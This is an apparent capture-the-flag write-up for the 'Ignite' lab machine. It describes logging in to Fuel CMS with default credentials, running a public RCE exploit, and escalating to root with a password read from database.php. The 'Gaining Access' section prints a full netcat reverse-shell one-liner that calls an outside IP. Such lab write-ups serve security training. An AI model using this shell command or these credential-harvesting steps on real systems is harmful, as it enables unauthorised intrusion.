πŸ•―οΈIgnite

A new start-up has a few issues with their web server.

1.Reconnaisance

1.1 Nmap

Using nmap to scan and identify open ports and services

  • We find open port 80 running http server with a webpage buit with Fuel CMS

2. Enumeration

  • Viewing the webpage, we see a path /fuel and the default credentials to access it.

  • Going over to /fuel, we are greeted with a login page.

  • Default credential, admin : admin, gives us access to the dashboard.

  • Looking around, we find ourselves in a dead end

3. Gaining Access

3.1 Searchsploit

  • Searching the exploid-db for any known exploit using searchsploit

  • We find a php rce php/webapps/50477.py

  • Executing the exploit, we find that we can execute any commands

  • Setting up a reverse shell, using rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.11.66.165 4242 >/tmp/f from payloadsallthethings with a netcat listener

  • Stabilizing the shell

  • We find ourselves as the user, www-data

  • We get the user flag in the home directory as flag.txt

4. Privilege Escalation

  • Going back to the webpage, we find that fuel/applications/config/database.php might contain potential username and password

  • Reading the contents of database.php, we get the credentials root : mememe

  • Switching user as root and reading root.txt

Last updated